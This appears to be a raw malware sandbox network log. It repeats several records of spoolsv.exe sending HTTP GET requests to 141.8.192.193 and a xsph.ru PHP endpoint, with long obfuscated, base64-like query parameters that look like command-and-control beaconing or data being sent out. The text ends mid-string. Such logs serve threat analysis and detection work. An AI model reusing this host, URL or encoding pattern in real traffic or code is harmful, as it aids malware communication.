kSp9UarhEZw5UbJNXSD50dJpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiI4EDZ1EWN5AzYxkjM3gjYxIWMhhTMjVWMzYTM4gTZkhTYmdTNldzNmJiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=d1nIiojIkBTMlVzYhRTNzYmNiVTM0YWYkJjZyUDM0I2NzQjMzEjIsICNyAzN2kTZ5kDZ3UjYmVGO3QjMmFGOiNmMhBjY0MWOxUWMlFmZ2QGOiojI2cTOiVzMiZGZkBTYmNWYyYTZ0YmNwcjY4gzM5IWZwkjIsISNyMTM3MDN4UjMmFDMwQDM4YTMhRjYiV2YzUzN3QTYlVzY2QjMjFjYiojIlVmMlVTNwIGOwQDOyUmZiRjM4Y2NiZTZ2UTMwATO5EjI7xSfikTMulEMRp2TwkkaPdXQqlkNJlmWyMmeOBzZUpFeVpnTx0kaOpmTU9UMV1WWrp0VNBTWE90akR0ToRGRahmSXlVaGdlWtJlMNl2dplEbRpWTp9maJVTQU1kMrpWW5VERahmW650MJRVT1EFVNBTUUpFMjR0T61keNdXWqplaORUTwEkeOlXRqp1dJNETpV1UNhXSp9UaR1mT0k1RNlmWU1UaGdVW4V1VNVTVqllaWdlT5V1RPdXQU1kMVpnTqZ1RNhmUUlVNJ1WWtplaJNXSTpEeJl2TpFEVOBTRq5kMRpmT4tGRaBTTE1UaaJTTyk1RORTVE90aspXW4l1ROdXRXlVbaRlWxkFRPFTTql0cJl3Y0JUaNBTSp9UanR0TxkUbalXU61UaOdlW4NmaZpXSEp1aaRVWqJ1VNJTVHp1MVdkWtpkMZJTVH10MZdkTpJVbJdDcqlEaShVWFJFSlxmSDxUMvpWSwY1MixWMXFWVChlWshnMVl2dplEbahVYw40VRl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSpNGbkdVW1Z0VUdGMXlVekJjY5JEbJZTS5RmdS1mYwRmRWRkRrl0cJlGVp9maJRnRykVaWJjV6xWbJNXSTdVavpWSsVjMi9mQzIWeOdVYO5EWhl2dplEcNRUSuVzVhdnQYpFMOZUSwUERJNnVHpldxUUSyE0UlNHbXJGaaVUSwkFRl9WQpVWSkVUTzQTaNdWQFlkVCFTUnFERNBTWUxUMrdUSwBTRW9WVtNmdOVUSwlkRLNnVHRWdstWS2k0UaRnRtRlVCFTUpdXaJBXRww0ToNUS5Z1RkdnRHplQCl3Yqx2RhdnRtNGSCNVUIplRJtmSYl1a1cVWw4EbJZTSTpFdG1GVW